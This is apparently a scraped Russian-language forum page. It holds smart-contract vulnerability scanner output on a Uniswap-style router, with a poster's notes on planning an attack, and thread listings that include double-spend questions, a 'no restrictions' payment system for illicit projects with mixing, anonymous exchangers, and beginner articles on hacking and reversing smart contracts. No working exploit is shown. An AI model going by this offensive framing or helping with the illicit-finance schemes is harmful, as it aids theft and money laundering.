It is possible to trigger an exception (opcode 0xfe). Exceptions can be caused by type errors, division by zero, out-of-bounds array access, or assert violations. Note that explicit assert() should only be used to check invariants. Use require() for regular input checking.
--------------------
Initial State:

Account: [ATTACKER], balance: 0x0, nonce:0, storage:{}
Account: [SOMEGUY], balance: 0x0, nonce:0, storage:{}

Transaction Sequence:

Caller: [CREATOR], function: unknown, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Exception State ====
SWC ID: 110
Severity: Low
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Function name: swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256,uint256,address[],address,uint256)
PC address: 6902
Estimated Gas Usage: 671 - 766
A reachable exception has been detected.
It is possible to trigger an exception (opcode 0xfe). Exceptions can be caused by type errors, division by zero, out-of-bounds array access, or assert violations. Note that explicit assert() should only be used to check invariants. Use require() for regular input checking.
--------------------
Initial State:

Account: [ATTACKER], balance: 0x0, nonce:0, storage:{}
Account: [SOMEGUY], balance: 0x0, nonce:0, storage:{}

Transaction Sequence:

Caller: [SOMEGUY], function: unknown, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Exception State ====
SWC ID: 110
Severity: Low
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Function name: join_tg_invmru_haha_2e12539(bool,uint256,address)
PC address: 7787
Estimated Gas Usage: 516 - 611
A reachable exception has been detected.
It is possible to trigger an exception (opcode 0xfe). Exceptions can be caused by type errors, division by zero, out-of-bounds array access, or assert violations. Note that explicit assert() should only be used to check invariants. Use require() for regular input checking.
--------------------
Initial State:

Account: [ATTACKER], balance: 0x0, nonce:0, storage:{}
Account: [SOMEGUY], balance: 0x0, nonce:0, storage:{}

Transaction Sequence:

Caller: [ATTACKER], function: unknown, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Exception State ====
SWC ID: 110
Severity: Low
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Function name: join_tg_invmru_haha_9d69f3f(bool,address)
PC address: 8634
Estimated Gas Usage: 499 - 594
A reachable exception has been detected.
It is possible to trigger an exception (opcode 0xfe). Exceptions can be caused by type errors, division by zero, out-of-bounds array access, or assert violations. Note that explicit assert() should only be used to check invariants. Use require() for regular input checking.
--------------------
Initial State:

Account: [ATTACKER], balance: 0x0, nonce:0, storage:{}
Account: [SOMEGUY], balance: 0x0, nonce:0, storage:{}

Transaction Sequence:

Caller: [SOMEGUY], function: unknown, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Dependence on predictable environment variable ====
SWC ID: 116
Severity: Low
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Function name: join_tg_invmru_haha_9f4805a(bool,uint256)
PC address: 10379
Estimated Gas Usage: 1366 - 1742
A control flow decision is made based on a predictable variable.
The block.timestamp environment variable is used in to determine a control flow decision. Note that the values of variables like coinbase, gaslimit, block number and timestamp are predictable and can be manipulated by a malicious miner. Also keep in mind that attackers know hashes of earlier blocks. Don't use any of those environment variables for random number generation or to make critical control flow decisions.
--------------------
Initial State:

Account: [ATTACKER], balance: 0x1, nonce:0, storage:{}
Account: [SOMEGUY], balance: 0x0, nonce:0, storage:{}

Transaction Sequence:

Caller: [ATTACKER], function: unknown, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Exception State ====
SWC ID: 110
Severity: Low
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Function name: join_tg_invmru_haha_9f4805a(bool,uint256)
PC address: 10549
Estimated Gas Usage: 496 - 591
A reachable exception has been detected.
It is possible to trigger an exception (opcode 0xfe). Exceptions can be caused by type errors, division by zero, out-of-bounds array access, or assert violations. Note that explicit assert() should only be used to check invariants. Use require() for regular input checking.
--------------------
Initial State:

Account: [ATTACKER], balance: 0x0, nonce:0, storage:{}
Account: [SOMEGUY], balance: 0x0, nonce:0, storage:{}

Transaction Sequence:

Caller: [SOMEGUY], function: unknown, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Exception State ====
SWC ID: 110
Severity: Low
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Function name: swapETHForExactTokens(uint256,address[],address,uint256)
PC address: 14216
Estimated Gas Usage: 520 - 615
A reachable exception has been detected.
It is possible to trigger an exception (opcode 0xfe). Exceptions can be caused by type errors, division by zero, out-of-bounds array access, or assert violations. Note that explicit assert() should only be used to check invariants. Use require() for regular input checking.
--------------------
Initial State:

Account: [ATTACKER], balance: 0x1, nonce:0, storage:{}
Account: [SOMEGUY], balance: 0x0, nonce:0, storage:{}

Transaction Sequence:

Caller: [ATTACKER], function: unknown, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

Перевод автоматический чтоб по проще если кто английский еще качает:

Spoiler: Результат

==== Состояние исключения ====

ИДЕНТИФИКАТОР SWC: 110

Серьезность: Низкая
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Имя функции: fallback
Адрес компьютера: 466
Расчетное потребление газа: 82 - 177
Обнаружено достижимое исключение.
Возможно вызвать исключение (опкод 0xfe). Исключения могут быть вызваны ошибками типа, делением на ноль, доступом к массиву за пределами границ или нарушениями assert. Обратите внимание, что явное assert() следует использовать только для проверки инвариантов. Для обычной проверки входных данных используйте require().

--------------------

Начальное состояние:
Счет: [ATTACKER], баланс: 0x0, nonce:0, storage:{}
Аккаунт: [SOMEGUY], баланс: 0x0, nonce:0, storage:{}
Последовательность транзакций:
Вызывающий: [CREATOR], функция: неизвестно, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Состояние исключения ====

ИДЕНТИФИКАТОР SWC: 110

Серьезность: Низкая

Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d

Имя функции: join_tg_invmru_haha_617eab6(address,uint256,bool)
Адрес компьютера: 4130
Предполагаемое потребление газа: 565 - 660
Обнаружено достижимое исключение.
Возможно вызвать исключение (опкод 0xfe). Исключения могут быть вызваны ошибками типа, делением на ноль, доступом к массиву за пределами границ или нарушениями assert. Обратите внимание, что явное assert() следует использовать только для проверки инвариантов. Для обычной проверки входных данных используйте require().

--------------------

Начальное состояние:

Счет: [ATTACKER], баланс: 0x0, nonce:0, storage:{}
Аккаунт: [SOMEGUY], баланс: 0x0, nonce:0, storage:{}

Последовательность транзакций:

Вызывающий: [CREATOR], функция: неизвестно, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Состояние исключения ====

ИДЕНТИФИКАТОР SWC: 110

Серьезность: Низкая
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Имя функции: swapTokensForExactETH(uint256,uint256,address[],address,uint256)
Адрес компьютера: 5951
Предполагаемое потребление газа: 520 - 615
Обнаружено достижимое исключение.

Возможно вызвать исключение (опкод 0xfe). Исключения могут быть вызваны ошибками типа, делением на ноль, доступом к массиву за пределами границ или нарушениями assert. Обратите внимание, что явное assert() следует использовать только для проверки инвариантов. Для обычной проверки входных данных используйте require().

--------------------

Начальное состояние:

Счет: [ATTACKER], баланс: 0x0, nonce:0, storage:{}
Аккаунт: [SOMEGUY], баланс: 0x0, nonce:0, storage:{}
Последовательность транзакций:
Вызывающий: [SOMEGUY], функция: неизвестно, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Состояние исключения ====

ИДЕНТИФИКАТОР SWC: 110
Серьезность: Низкая
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Имя функции: swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256,uint256,address[],address,uint256)
Адрес компьютера: 6781
Предполагаемое потребление газа: 549 - 644
Обнаружено достижимое исключение.

Возможно вызвать исключение (опкод 0xfe). Исключения могут быть вызваны ошибками типа, делением на ноль, доступом к массиву за пределами границ или нарушениями assert. Обратите внимание, что явное assert() следует использовать только для проверки инвариантов. Для обычной проверки входных данных используйте require().

--------------------
Начальное состояние:
Счет: [ATTACKER], баланс: 0x0, nonce:0, storage:{}
Аккаунт: [SOMEGUY], баланс: 0x0, nonce:0, storage:{}

Последовательность транзакций:

Вызывающий: [CREATOR], функция: неизвестно, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Состояние исключения ====
ИДЕНТИФИКАТОР SWC: 110
Серьезность: Низкая
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Имя функции: swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256,uint256,address[],address,uint256)
Адрес компьютера: 6902
Предполагаемое потребление газа: 671 - 766
Обнаружено достижимое исключение.
Возможно вызвать исключение (опкод 0xfe). Исключения могут быть вызваны ошибками типа, делением на ноль, доступом к массиву за пределами границ или нарушениями assert. Обратите внимание, что явное assert() следует использовать только для проверки инвариантов. Для обычной проверки входных данных используйте require().
--------------------
Начальное состояние:

Счет: [ATTACKER], баланс: 0x0, nonce:0, storage:{}
Аккаунт: [SOMEGUY], баланс: 0x0, nonce:0, storage:{}

Последовательность транзакций:

Вызывающий: [SOMEGUY], функция: неизвестно, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Состояние исключения ====
ИДЕНТИФИКАТОР SWC: 110
Серьезность: Низкая
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Название функции: join_tg_invmru_haha_2e12539(bool,uint256,address)
Адрес компьютера: 7787
Предполагаемое потребление газа: 516 - 611
Обнаружено достижимое исключение.
Возможно вызвать исключение (опкод 0xfe). Исключения могут быть вызваны ошибками типа, делением на ноль, доступом к массиву за пределами границ или нарушениями assert. Обратите внимание, что явные assert() следует использовать только для проверки инвариантов. Для обычной проверки входных данных используйте require().
--------------------
Начальное состояние:

Счет: [ATTACKER], баланс: 0x0, nonce:0, storage:{}
Аккаунт: [SOMEGUY], баланс: 0x0, nonce:0, storage:{}

Последовательность транзакций:

Вызывающий: [ATTACKER], функция: неизвестна, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Состояние исключения ====
ИДЕНТИФИКАТОР SWC: 110
Серьезность: Низкая
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Название функции: join_tg_invmru_haha_9d69f3f(bool,address)
Адрес компьютера: 8634
Предполагаемое потребление газа: 499 - 594
Обнаружено достижимое исключение.
Возможно вызвать исключение (опкод 0xfe). Исключения могут быть вызваны ошибками типа, делением на ноль, доступом к массиву за пределами границ или нарушениями assert. Обратите внимание, что явное assert() следует использовать только для проверки инвариантов. Для обычной проверки входных данных используйте require().
--------------------
Начальное состояние:

Счет: [ATTACKER], баланс: 0x0, nonce:0, storage:{}
Аккаунт: [SOMEGUY], баланс: 0x0, nonce:0, storage:{}

Последовательность транзакций:

Вызывающий: [SOMEGUY], функция: неизвестно, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

==== Зависимость от предсказуемой переменной окружения ====
SWC ID: 116
Серьезность: Низкая
Contract: 0x7a250d5630b4cf539739df2c5dacb4c659f2488d
Название функции: join_tg_invmru_haha_9f4805a(bool,uint256)
Адрес компьютера: 10379
Предполагаемое использование газа: 1366 - 1742
Решение о потоке управления принимается на основе предсказуемой переменной.
Для определения решения о потоке управления используется переменная окружения block.timestamp. Обратите внимание, что значения таких переменных, как coinbase, gaslimit, номер блока и временная метка, предсказуемы и могут быть использованы злоумышленниками. Также имейте в виду, что злоумышленникам известны хэши предыдущих блоков. Не используйте ни одну из этих переменных окружения для генерации случайных чисел или для принятия критических решений о потоке управления.
Начальное состояние:

Счет: [ATTACKER], баланс: 0x1, nonce:0, storage:{}
Счет: [SOMEGUY], баланс: 0x0, nonce:0, storage:{}

Последовательность транзакций:

Вызывающий: [ATTACKER], функция: неизвестно, txdata: 0xf6670bd6000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000, value: 0x0

Достаточно удобно, ведь мы сразу получаем информацию о SWC ID - список уязвимостей самрт-контрактов, видим в какой функции допущена та или иная ошибка.
Для дальнейшего изучения открываем этот контракт в VSCODE и используя
SVD.png

нажав на graph ( this )

graf this.png

получаем визуальное отображение зависимости функция смарт контракта, что достаточно наглядно показывает какие функции payable обведены красным, что позволяет намечать план атаки:

scema.png

Ознакомтесь с документацией этого расширения, там есть еще некоторые функции, помогающие строить логические связи, к примеру: можно выделить сигнатуры функции и построить "дерево" контракта.

Дальше изучаю уже непосредственно код и имею эти знания в голове приходим к выводу:

1. Переопределение публичной переменной state изменяет состояния с "pure" на "view".

239 | address public immutable override factory;
53 | function factory() external pure returns (address);

2. Переопределение публичной переменной state изменяет изменяемость состояния с "pure" на "view".

240 | address public immutable override WETH;
54 | function WETH() external pure returns (address);

3. Не разрешено явное преобразование типа из "uint256" в "address".

153 | pair = address(uint(keccak256(abi.encodePacked(hex'ff',factory, keccak256(abi.encodePacked(token0, token1)),

4. Не понтно для чего конструктор сделали public если и так понятно что он сразу располагается в STATE памяти EVM по адресу смарт контракта:

247 | constructor(address _factory, address _WETH) public

5. Не разрешено явное преобразование типа из "int_const -1" в "uint256".

328 | uint value = approveMax ? uint(-1) : liquidity;
336 | uint value = approveMax ? uint(-1) : liquidity;
355 | uint value = approveMax ? uint(-1) : liquidity;

6. Но больше всех я люблю fallback - фунции типа:

248 receive() external payable {
250 assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
251 }

Ну и пускай что есть assert о том что msg.sender должен быть равен адресу из интерфейса. Думаю научившись дизассемблировать будет говраздо проще понять как подставить нужный адрес.
Так вот новогодний мини-анализ позволяет понимать почему UNISWAPv3 уже в деле и что делать с этим дальше.

Bitcoin fake transaction?
ID: 67686ad7b4103b69df37985e
Thread ID: 82346
Created: 2023-02-20T10:28:05+0000
Last Post: 2023-05-14T12:58:21+0000
Author: jacking47
Replies: 24 Views: 2K

Is Bitcoin faek transacion really possible?

If possible Is it possible to spend again from the wallet that received the double-spended amount?

Снайп бот
ID: 67686ad7b4103b69df37988d
Thread ID: 77143
Created: 2022-12-01T19:43:33+0000
Last Post: 2023-03-13T13:46:08+0000
Author: anonim560471
Replies: 21 Views: 2K

Ищу человека ,который создаст снайп бота по покупке крипты , которая только залистилась на бирже
Желательно с привязкой к бинанс

Подскажите несколько качественных обменников крипты
ID: 67686ad7b4103b69df3798c2
Thread ID: 75932
Created: 2022-11-15T13:40:13+0000
Last Post: 2023-01-14T22:57:01+0000
Author: Dupreeh
Replies: 15 Views: 2K

Интересуют безопасные и анонимные обменники крипы.
Подскажите несколько для использования в связке

Пожелания для криптоплатеги [ДЛЯ ЧЕРНУХИ]
ID: 67686ad7b4103b69df3798c4
Thread ID: 79267
Created: 2023-01-04T22:44:24+0000
Last Post: 2023-01-11T07:12:03+0000
Author: 0xfff
Replies: 25 Views: 2K

Планирую писать платежную систему без запретов, одобряем все проекты.

Хотел бы узнать пожелания юзеров, какие удобства и блага надо будет добавить? Что не нравится в нынешних криптоплатегах и тд. Нужен ли автоматический миксер от определенной суммы вывода? Всякие фичи буду рад услышать от вас.

Если есть проекты которые уже заинтересовались - пмните.

Облачный майнинг.
ID: 67686ad7b4103b69df37991a
Thread ID: 33239
Created: 2019-11-16T21:00:51+0000
Last Post: 2022-08-17T05:25:47+0000
Author: IvanDivine
Replies: 3 Views: 2K

Представляю самый топовый сервис для облачного майнинга!
Пополнять баланс можно криптовалютой(Для обмена на мощности)
40000 GHS 6.0 примерно 240$ в месяц чистого дохода.
Рефка

Взлом смарт-контрактов: руководство для начинающих ($амых начинающих)
ID: 67686ad7b4103b69df37991f
Thread ID: 67599
Created: 2022-05-24T17:52:00+0000
Last Post: 2022-08-12T03:58:57+0000
Author: вавилонец
Prefix: Статья
Replies: 5 Views: 2K

Перевод статьи - <https://learn.block6.tech/hacking-smart-contracts-beginners- guide-9c84e9de7194>

1653413101196.png

Обзор основ смарт-контрактов.​

Проще говоря, смарт-контракт — это не что иное, как компьютерная программа, работающая на блокчейне. Хотя основная цель выполнения реальных контрактов с помощью кода состояла в том, чтобы сократить затраты и время, необходимые для преобразования контрактов на естественном языке в исполняемый код, количество вариантов использования, связанных со смарт-контрактами, значительно увеличилось.

Если вы новичок во всей этой идее смарт-контрактов и не знаете, с чего начать, вот кое-что, что может вам помочь!

Что такое смарт-контракт?

Смарт-контракт можно определить как соглашение в блокчейне между двумя людьми. Самая важная часть этого соглашения заключается в том, что оно самоисполнимо, безопасно и не требует участия третьих лиц, таких как юристы или банки. Это также устраняет риск контрагента, позволяя пользователям проверять свои балансы в любой момент времени и следить за тем, чтобы никто не изменил их балансы без взаимного согласия. Лучший способ понять, что мы имеем в виду, когда говорим «умные контракты», — это разобрать его название по частям:

  1. Контракты: после того, как различные законы были добавлены друг к другу с течением времени по разным причинам, контракт стал больше, чем просто обмен обещаниями между двумя людьми. Хорошо составленное соглашение должно содержать всевозможные заверения, гарантии и оговорки, призванные защитить обе стороны от непредвиденных событий, происходящих в ходе сделки.
  2. СМАРТ: это относится к тому, насколько хорошо эти соглашения самоисполняются в реальных жизненных ситуациях по сравнению с тем, когда они действительно необходимы. Теперь мы знаем, что представляют собой смарт-контракты, давайте посмотрим на некоторые примеры из реального мира! Простым примером может быть перевод денег из вашего банка в учетную запись непосредственно в учетную запись вашего друга каждый месяц, не требуя от вас (или вашего друга) ручного перевода.

Почему они используются?​

Из-за того, как разработаны смарт-контракты, они допускают ненадежное выполнение кода. Это означает, что мы можем создавать автономные организации, которые не должны контролироваться центральной властью. Они снижают транзакционные издержки и устраняют необходимость в доверенных третьих сторонах. Почему это важно? Потому что это позволяет нам автоматизировать транзакции друг с другом и гарантировать, что они происходят в порядке, согласованном всеми сторонами (нужная сумма денег, отправка в нужное время и т. д.). Это также снижает потребность в третьих лицах, которые управляют этим процессом вручную (например, в банках или юристах).

Из чего они сделаны?

Смарт-контракт — это компьютерный протокол, предназначенный для цифрового облегчения, проверки или обеспечения выполнения переговоров или исполнения контракта. Смарт-контракты позволяют выполнять надежные транзакции без участия третьих лиц. Эти транзакции отслеживаются и необратимы. Смарт-контракты состоят из программного кода, работающего на технологии блокчейн. Этот код взаимодействует с собственным реестром блокчейна для выполнения определенных функций при выполнении определенных условий. Код может быть написан на различных языках программирования, таких как Solidity (используется Ethereum), Simplicity (используется Blockstream) и других, в зависимости от типа блокчейна, используемого для развертывания смарт-контракта.

Вообще говоря, смарт-контракт создается по двум основным причинам:

Solidity — самый популярный язык для написания смарт-контрактов Ethereum. Это язык, ориентированный на контракты, что означает, что он был создан для написания смарт-контрактов и имитирует концепции контрактов реального мира, такие как класс, переменные состояния, функции, наследование и библиотеки. Solidity также наследует некоторый синтаксис от языков JavaScript и Python.

Код Solidity написан на ECMAScript (или JavaScript) и скомпилирован в байт-код для EVM. Он статически типизирован, поддерживает наследование и библиотеки.

Как начать? ​

Чтобы начать взлом смарт-контрактов, вам необходимо сделать следующее:

Распространенные уязвимости и эксплойты ​

В смарт-контрактах существует несколько уязвимостей, которыми могут воспользоваться злоумышленники. Эти атаки могут позволить злоумышленнику получить контроль над выполнением кода и украсть средства, удалить данные или изменить состояние контракта (например, изменить правила, для применения которых он был запрограммирован).

Самая заметная уязвимость называется «атакой воспроизведения», потому что она позволяет злоумышленнику многократно выполнять действия со смарт-контрактом (например, отправлять транзакции), не тратя никаких денег из собственных средств, что противоречит цели использования платформы! Если вы отправляете транзакцию, а код вашего контракта принимает эту транзакцию для какой-либо цели (например, для выпуска токенов), то любая последующая транзакция с другими входными данными должна быть отклонена логикой вашего контракта как недействительная, поскольку между этими счетами не было перевода средств. ! К сожалению, это происходит не всегда, поскольку злоумышленники часто могут написать собственные контракты, которые не проверяют наличие повторных транзакций.

Другой серьезной проблемой является целочисленное переполнение и потеря значимости. Целочисленное переполнение происходит, когда функция выходит за пределы своего ограниченного диапазона доступных чисел (т. е. добавление одного миллиона долларов к $0 оценивается в $1 миллион). Потеря значимости происходит при попытке преобразовать одно большое число в другое большое число (например, преобразование 1 миллиарда долларов в 4 миллиарда долларов).

Повторный вход — еще один распространенный механизм атаки: злоумышленник, получивший контроль над вашим кодом, может использовать этот доступ для самостоятельного выполнения дальнейших действий, чтобы использовать другие части вашего кода или даже получить доступ к другим учетным записям, контролируемым вами на этой платформе! Такого рода проблемы возникают при использовании функций, разработанных таким образом, что они могут принимать несколько аргументов для выполнения дополнительного кода — обычно называемых функциями обратного вызова.

Повтор атаки​

Атака с повторным воспроизведением — это когда транзакция передается в сеть злоумышленником, а затем повторяется тем же субъектом после того, как она была изначально преобразована в блок.

Атаки повторного воспроизведения происходят, когда злоумышленник транслирует транзакцию в сеть, а затем пытается ретранслировать ту же транзакцию до того, как майнеры успеют преобразовать ее в блок. Это может привести к отмене первой трансляции этой транзакции, поскольку майнеры будут игнорировать дополнительные транзакции с идентичными одноразовыми номерами и отправителями.

Этого можно избежать, убедившись, что учетная запись отправителя и одноразовый номер каждой транзакции уникальны.

Примером такой атаки может быть ситуация, когда Алиса отправляет Бобу 10 эфиров, но Ева (у которой есть доступ к секретному ключу Алисы) ретранслирует Алисе еще раз отправку Бобу 10 эфиров, прежде чем они будут добыты в блок. В этом случае успешно пройдет только одна из двух попыток Евы передать эфир. Если бы оба были приняты, мы могли бы сказать, что Ева дважды потратила свой эфирный перевод.

Целочисленное переполнение и потеря значимости​

Важно начать с рассмотрения того, что такое целочисленное переполнение и потеря значимости. Эти две функции допускают переполнение и потеря значимости — это невозможные результаты, которые могут привести к плохим последствиям. Целое число — это обычно целое число, например 1, 5 или 45; это основная единица компьютерных данных. И переполнение, и потеря значимости приведут к тому, что целочисленное значение будет больше или равно исходному числу и меньше исходного числа — другими словами, оба они представляют невозможность!

Повторная атака ​

Что такое повторная атака? Повторная атака — это ошибка блокчейна, которая позволяет хакерам украсть баланс смарт-контракта. Это происходит, когда смарт- контракт вызывает ненадежный внешний адрес, и этот внешний адрес может снова вызвать исходный контракт до завершения первой транзакции. Это может позволить вредоносному коду злоумышленника слить средства с первой учетной записи до того, как он завершит выполнение.

Как вы можете защититься от этого? Вот два способа защитить ваши контракты от уязвимости:

Почему это важно для вашего проекта?​

Смарт-контракты — это код. А код, как мы все знаем, можно взломать. Учитывая то количество внимания, которое уделяется смарт-контрактам в публичной сфере, никто не должен удивляться, если хакеры попытаются использовать уязвимости безопасности в смарт-контрактах.

Имея это в виду, важно, чтобы вы не воспринимали безопасность смарт-контрактов как должное. Вам необходимо протестировать свой смарт-контракт с помощью инструментов автоматизации тестирования и проверить его безопасность с помощью опытных инженеров и других экспертов, специализирующихся на технологии блокчейн.

Для вас также важно понимать инструменты, которые вы используете, и даже то, как работает код других людей, чтобы вы могли выявлять потенциальные проблемы до того, как они возникнут во время выполнения транзакций.

Технология смарт-контрактов никуда не денется.​

Надеюсь, вам понравилось это краткое введение в смарт-контракты, и теперь вам интересно, как вы можете принять участие в этой области. Если да, то у меня для вас хорошие новости! Вы уже обладаете некоторыми необходимыми навыками.

Если вы хорошо разбираетесь в Javascript или разбираетесь в C++/Python(Ruby)/GoLang и Linux, то это определенно то, что стоит изучить дальше. Это основные языки, используемые большинством блокчейн-проектов для написания смарт-контрактов. Кроме того, если у вас есть опыт работы с языком Solidity Ethereum, то это еще лучше! Если нет, то не беспокойтесь! Существует множество онлайн-ресурсов, которые помогут вам быстро освоить основы. Вы также можете присоединиться к различным каналам сообщества, где люди будут готовы ответить на любые вопросы, которые могут возникнуть, когда вы начнете больше узнавать об этой захватывающей новой технологии.

Реверсинг и эксплуатация смарт-контрактов
ID: 67686ad7b4103b69df379927
Thread ID: 54623
Created: 2021-07-30T19:58:51+0000
Last Post: 2022-08-07T10:04:38+0000
Author: Azrv3l
Prefix: Статья
Replies: 3 Views: 2K

Введение
Автор не претендует на истину в последней инстанции, если вы с чем-то не согласны - не стесняйтесь об этом писать. Так же стоит уточнить, что эта статья рассчитана на новичков, и если вы уже прожжёный самовар, вам здесь делять нечего. Всем остальным, приятного прочтения!

Содержание

Предисловие
Тема смарт-контрактов, и в целом вопрос безопасности DApps, как-то слабо развит на российских форумах. Хотя казалось бы, ничего сложного в смарт- контрактах нет. Я уже писал статью о эксплуатации смарт-контрактов, в рамках конкурса на exploit.in. Там эта тема людей заинтересовала. Если вы ещё не читали мою статью, прошу сюда

Требуемые знания
Статья подразумевает, что вы уже обладаете базовыми знаниями в области. Глубокого понимания того как работает память или стек EVM от вас не требуется. Но если вы не знаете как писать на solidity, или что вообще такое эти ваши смарт-контракты,

meme.jpg

то тратить символы в статье (которых и так получилось немало) на разъяснение основ, я не собираюсь. Вот для вас немного ссылок, дабы вы самостоятельно ввели себя в курс дела:

Что такое смарт контракты

![www.kaspersky.ru](/proxy.php?image=https%3A%2F%2Fmedia.kasperskydaily.com%2Fwp- content%2Fuploads%2Fsites%2F90%2F2017%2F10%2F17180435%2Fethereum-ico- featured.jpg&hash=3e994f41ef517b9afab77f9810238e4e&return_error=1)

[ Смарт-контракты, Ethereum, ICO — объясняем простыми словами

](https://www.kaspersky.ru/blog/ethereum-ico/19025/)

Смарт-контракты сделали криптовалюту Ethereum второй по величине. Рассказываем о том, что это такое и как это связано с модным понятием ICO.

![www.kaspersky.ru](/proxy.php?image=https%3A%2F%2Fmedia.kasperskydaily.com%2Fwp- content%2Fuploads%2Fsites%2F90%2F2019%2F06%2F04154318%2Fcropped-k-favicon- new-32x32.png&hash=f1c45e9b3d849fa20abcdd84228557cf&return_error=1) www.kaspersky.ru

Пришем первый контракт

habr.com

[ ÐиÑем ÑмнÑй конÑÑÐ°ÐºÑ Ð½Ð° Solidity. ЧаÑÑÑ 1 â

ÑÑÑановка и «Hello world» ](https://habr.com/ru/post/312008/)

ÐÑди, инÑеÑеÑÑÑÑиеÑÑ Ñемой блокÑейна, Ñже не Ñаз ÑлÑÑали о пÑоекÑе ÑоÑÑийÑко-канадÑкого пÑогÑаммиÑÑа ÐиÑалика ÐÑÑеÑина â Ethereum , а в вмеÑÑе Ñ Ð½Ð¸Ð¼ и о Ñак назÑваемÑÑ ÑмнÑÑ ÐºÐ¾Ð½ÑÑакÑаÑ. Рданном...

![habr.com](/proxy.php?image=https%3A%2F%2Fassets.habr.com%2Fhabr- web%2Fimg%2Ffavicons%2Ffavicon-16.png&hash=92e2dae146214fab23606c51ef42d36d&return_error=1) habr.com

Документация Solidity

[ Solidity — Solidity 0.8.29 documentation

](https://docs.soliditylang.org/en/latest/)

docs.soliditylang.org docs.soliditylang.org

Немного о EVM

![hackernoon.com](/proxy.php?image=https%3A%2F%2Fcdn.hackernoon.com%2Fhn- images%2F0%2AJVkzAAwmrQxlktQ_.jpg&hash=82600ff7d9f624942db25adb75d15d80&return_error=1)

Getting Deep Into EVM: How Ethereum Works Backstage | HackerNoon

This post is a continuation of my Getting Deep Into Series started in an effort to provide a deeper understanding of the internal workings and other cool stuff about Ethereum and blockchain in general which you will not find easily on the web. Here are the previous...

hackernoon.com

Топ уязвимостей смарт-контрактов

DASP - TOP 10

![www.dasp.co](/proxy.php?image=https%3A%2F%2Fwww.dasp.co%2Ffavicon%2Fandroid- icon-192x192.png&hash=2d5931f430f45365da4f26e741306347&return_error=1) www.dasp.co

Реверсинг смарт контрактов
Если вы уже пробывали свои силы, и издевались над контрактами(в том же CaptureTheEther), но наверняка задавались вопросом: "А что же делать если контракт не подписан на etherscan, и исходный код нам не доступен?". Многие наверняка думают, что если исходный код не опубликован, то взломать контракт нельзя. Ответ на этот вопрос, такой же очевидный как и в случае с любым другим, не децентрализованным ПО - Реверсить. Этим мы сейчас и займёмся!

Вступление
При компиляции кода на Solidity, исходник превращается в байткод. С ним, в отсутствии исходного кода, нам и придётся иметь дело, дизассемблируя его и анализируя EVM ассемблер. Не пугайтесь слова ассемблер! В самом EVM ассемблере, нет ничего страшного и сложного. Он куда проще чем тот же x86 или ARM. А всё потому, что Ethereum Virtual Machine имеет стековую организацию. То есть все опрации с данными, вызовы функций и условные переходы - выполняются через стек. То как именно это работает мы разберём по ходу статьи, а пока в качестве примера возьмём этот контракт:

Code:Copy to clipboard

pragma solidity 0.5.17;

contract Storage {
    uint256 number;

    function set(uint256 num) public {
        number = num;
    }

    function retrieve() public view returns (uint256){
        return number;
    }
}

Примечание: Это немного изменённый контракт из Remix IDE. При написани статьи, я пользовался Remix. Вы вольны пользоваться чем удобнее, тем жеTruffle например.

В скопилированном виде он представляет из себя следующее:

Code:Copy to clipboard

